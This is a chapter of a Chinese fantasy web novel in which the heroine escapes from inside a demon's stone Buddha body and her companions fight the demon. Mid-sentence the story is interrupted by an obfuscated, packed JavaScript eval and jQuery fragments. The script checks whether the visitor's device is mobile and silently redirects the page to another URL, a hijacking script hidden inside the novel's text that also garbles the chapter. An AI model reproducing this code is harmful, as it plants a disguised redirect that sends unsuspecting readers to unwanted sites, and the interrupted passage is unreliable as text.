先前传来的流水声与梅香,原是出自卧佛寺后山,晨起谢意刚带着自己去过。
流水声闷鼓鼓的,是因落雪封了湖面,结出一层薄冰,阻了水声的清透——如此说来,她们竟是又转回了卧佛寺。
藤玲玉特意引着她绕了偌大一圈,故作远去之态,待援兵寻踪远去,便施这声东击西之计,折回这方老巢。
能叫世人主动对着许愿,又能受众生叩拜祈愿的,除了殿中佛像,更有何物?她怕是在佛像肚子里。
闻瑜一刹那灵台清明,寒意顺着后脊陡然攀上来,指尖都泛了凉。
她猛地抬眼望向藤玲玉,细看之下,藤玲玉的面相在她眼中微微扭曲,透过藤玲玉的眉眼,闻瑜仿佛看见了卧在殿内的巨石佛像,如今回想,佛像眉眼慈悲,却在香火青烟中透出几分说不出的森冷。
若是人们知道,几百年来日日参拜的佛像是个妖怪变得,会做何想?
此刻的藤玲玉捂着腹部,脸色青紫交接,眼底是化不开的阴戾。
闻瑜在看清藤玲玉脸色的同时,也看清了手中是何物,一把勉强能称作扇子的奇怪物件。
暗道不好,闻瑜在心中道:“好消息,我大概知道我们现在被困在何处了,约莫是这妖怪的本体内,是座石头做的佛像,坏消息这扇子威力有点大,弄坏了她的本体,如今她生气了。”
鹿蜀惊诧道:“难怪这妖怪身上有不少功德,原来是假冒神仙吸收了凡人的信仰之力!”
闻瑜一步步后退,藤玲玉一步步朝她逼近,阴恻恻道:“我道你还算安分,没想到最不安分的就是你,既如此,我干脆先吃了你!”
“你不能造杀业,否则你的道行会功亏一篑。”闻瑜如是道。
藤玲玉:“你真是聪明,这都能猜到。”为了飞升当神仙,藤玲玉除了靠吸收信仰之力修炼外,还不能杀生,否则会道行尽毁。她诡异一笑,“可那又如何,有了仙胎和神兽,我何苦要费那般大的劲去维系这该死的破规则,至于你说的会撑坏肚子,定是为了活命而唬我的。”
见这妖怪当真破罐子破摔,闻瑜在心中问鹿蜀:“快想些法子,你的封印我肯定不会解,你想想有什么办法能克制这妖怪。”
鹿蜀也跟着急,它目光四处打量,旋即落在闻瑜手中的白色折扇上。它瞪大了眼,嗓音都变得尖锐:“言灵扇?!”
“不是,言灵扇不是在上天庭吗?它什么时候跟着跑下来了?浮云你又搞的什么鬼?!”
闻瑜道:“不知道,我醒来就成这样了。”
鹿蜀道:“先不管它怎么跑下来的,我跟你讲,这扇子来头可大,虽不能叫你直接杀死这妖怪,却也能护佑你。你试着用扇子去敲周围的石壁,说不定真能叫你敲破一个口子逃出去。”
闻瑜心道:“我尽量试试。”
她余光落向四周,试图寻找一处看似薄弱的地方。
“你想毁我真身?”脆生生的嗓音在耳畔响起。
闻瑜脊梁骨透出一股钻心的冷,直冲天灵盖。坏了!忘了这妖怪能听见愿望!
她不再犹豫,当即抬手对着身后石壁一敲。
“唔——你找死!!”藤玲玉目眦欲裂,面目狰狞大掌一挥。
闻瑜身体如断了线的风筝,骤然飞出去,摔得不轻,她头晕脑胀,险些握不住手中折扇。
鹿蜀道:“浮云努力啊!石壁已经出现裂痕了,你再敲一下,就能逃出去了!”
闻瑜一呼一吸胸膛都仿佛被人狠狠挤压,口鼻满是血腥味,疼痛不断刺激着她,她干脆往地上一趴,道:“该死的,好痛,算了不逃了,死就死吧,左右你说我是神仙转世,死了就回天上了。”
道理是这样没错,可别忘了你如今是天刑道君的情劫,若是你早早归天,道君这劫迟迟不见过,万一出了事你拿命去赔!鹿蜀在心底呐喊。
它扯了个谎道:“你的本体还在天上,死后神魂恐怕还没到天上去就被这妖怪拘了,到时候你只会比现在疼百倍,它会一口一口把你吃掉,疼数百倍不说,还要忍受它巨臭无比的唾液。”
闻瑜恶寒至极,一个鲤鱼打挺从地上爬起来道:“不早说。”她一鼓作气挥挥扇子,没想到言灵扇身迸出一道清凌凌的光,将藤玲玉掀飞。
她不敢多犹豫,紧接着攥紧扇子对着石壁狠敲。
一下、两下、三下——
闻瑜边敲边道:“这就是你说的‘两下就成’。”敲到第十几下,藤玲玉彻底暴怒,眼中一片黑沉,五指利爪抻得长长,对着闻瑜的背划拉去——
“浮云,先别敲了!”鹿蜀道,“小心背后!”
闻瑜望着石壁上密密麻麻的蛛网裂痕,不甘心就此放弃,她抱着鱼死网破的心态咬唇落下最后一击。
.
冯御史亲眼看着闻瑜留下的信物被处理干净,这才离去。冯御史离去后不久,谢意缓缓上前,他寻来一截还算结实的木枝,将泥土刨开,寻到一片被烧得只剩片角的绢帕布料,以及一枚来自袖箭上的金镝。
他捡起金镝,未待摸清老师的此番做的用意,身后传来一道温润的噪音:“在下玄机阁柳霁月,敢问小友可有瞧见附近有什么行为异常的人路过。”
玄机阁的名头他素来听过,乃是圣人麾下专司捉妖除祟部门,谢意开口问道:“敢问是来卧佛寺缉拿妖邪的道长?”
对面人语气平和道:“正是。”
谢意道:“闻家娘子被那妖怪掳了去,留下了这东西。”
柳霁月抬手接过金镝,细细一瞧,金镝有火烧过的痕迹,上面还有残留的妖气,他没有深究,而是郑重道谢:“多谢小友。”
他祭出星盘,咬破指尖,将金镝放入星盘正中,待星盘汲取金镝上的妖气后,指针几番周转最终停在某个方向。
柳霁月道:“原来是又绕回寺里去了。”
言讫,足尖一点,持着堪比自身高的陌刀朝山上飞跃而去。
谢意听闻,提气运功,不激不随跟在他身后。
直至赶到卧佛寺,寺内人员稀少,大多数被安置到偏僻的客院那方,殿内传出巨大动静,谢意进门,就瞧见令他心绪不宁的一幕。
.
“碰——”
石壁被凿开个一人高的口子,香火氤氲的大殿眼帘,闻瑜来不及高兴,肩胛处被一只素手穿透,灭顶的疼痛自肩膀下方传来。
“唔……”
好痛!
泪水止不住的自眼中溢出,闻瑜小心翼翼放缓呼吸,试图缓解疼痛,怎料藤玲玉紧握拳头,遽然将手抽出,血溅了二人满脸,落在白皙凝玉般的脸颊,犹玉托红珠,触目惊心。
“浮云!”鹿蜀担忧唤道。
闻瑜道:“没伤及要害,死不了。”就是疼。她自高处落下,如破布娃娃般下坠,刚踏入
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092882|195513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
殿里的少年见状,身体比意识要快一步,飞身上前接住她。
闻瑜感觉自己来到一个清瘦的怀抱中,恍惚睁眼,闻瑜看见面具下少年紧绷的下颌线,以及抿成一条直线的唇。
“谢意?”她以为自己出现了幻觉。
谢意未语,而是果断抱着她在空中折了个向,先前二人所在的位置,一只巨大的石掌从天而降,狠狠凿下,一时石崩瓦裂,尘灰飞扬。
定睛一瞧,卧佛寺内的佛像竟然动了。殿内卧佛石像撑着起身,巨大的身躯将殿顶捅破,一束束光伴着飞扬细雪洒进,映出佛像细长眉眼中的怒意。
佛像肩头坐着位粉雕玉琢的小娘子,她抚了抚鬓边落雪,信手一抬,佛像手掌也跟着抬起,随即——对着闻瑜与谢意的方向轰然砸下。
雪又大了些,后山薄冰下的流水仍在呜咽,梅香裹着杀气漫过殿阶。谢意抱着闻瑜退至殿中立柱旁,这时窜出一个手持陌刀的青年,刀身同佛掌相触,激起耀眼的火星子。
二者相撞,柳霁月猛地将袖中黄符掷向佛像掌心,黄符触到佛像瞬间爆发出刺目青光,殿外忽然风起,檐角铜铃骤响,竟似有梵音隐隐传来,藤玲玉露出一抹娇俏的笑,眼中隐含讥讽。
“无知的臭道士,真以为靠对付寻常小妖的那些手段就能对付我。”佛掌一握,黄符灰飞烟灭,柳霁月因惯力被弹飞。
眼见二方对峙胶着,谁也难占上风,鹿蜀沉声提醒:“这妖靠窃取人间信仰香火修行,早已褪去妖身,成了不仙不妖的怪物,寻常镇邪之物对她全然无用。”
闻瑜拖着沉沉的眼皮子侧目时,柳霁月已露颓势,格挡渐缓,肩头不慎被佛掌扫中,踉跄半步。
她吐出一口血,将折扇塞进谢意掌心,揪着他领口道:“去,你去帮他!”若不去帮柳霁月,待柳霁月落败后几人都得死。
谢意正欲携闻瑜离去,闻言眼皮子一跳,险些咬碎后槽牙,先前他伪装出的温顺与服从消散得一干二净:“我一介凡人,还是筋脉断过的废人,如何帮他。”去了也只有被砸成一摊肉泥的份。
“退一步讲,若我去了迟迟不回,无人带你去医治,你光流血就能流死。”
闻瑜同谢意相处久了,被惯得找不着北,早已忘记如何好好说话,闻言她怒道:“死就死,你去不去!”
谢意见说不通,果断拒绝道:“不去。”
闻瑜:“你不过是我的一只狗而已,既然不听话,那就给我滚,滚得远远的,以后休要进我屋子唔——”
谢意耳根通红捂住她的嘴:“你说什么混账话?”尽惹人误会,谢意很清楚地瞧见柳霁月身形有刹那停滞。
闻瑜眼睛直勾勾盯着他,眼中嘲讽不加掩饰,似乎在说:怎么不装了?
鹿蜀恨铁不成钢道:“浮云你倒是提醒他这扇子能对付那石妖啊!是个正常人看见妖怪都不会傻乎乎冲上去送死好伐?”
被闻瑜盯得醒神,谢意理智回归,像是突然记起自己身份似的,他语气隐忍道:“娘子既诚心叫我送死,我岂能拂了你的愿,经此一去,全当还你一半的恩,若我侥幸捡回条命,只盼你对我有几分真心,不再当我作毫无尊严的卑贱之躯。”
言外之意,若他没死,就请闻瑜对他态度好些。
话落,谢意将闻瑜安置于蒲苇团上,飞身而起。
鹿蜀大惊:失策了,天刑道君还真不是个正常人!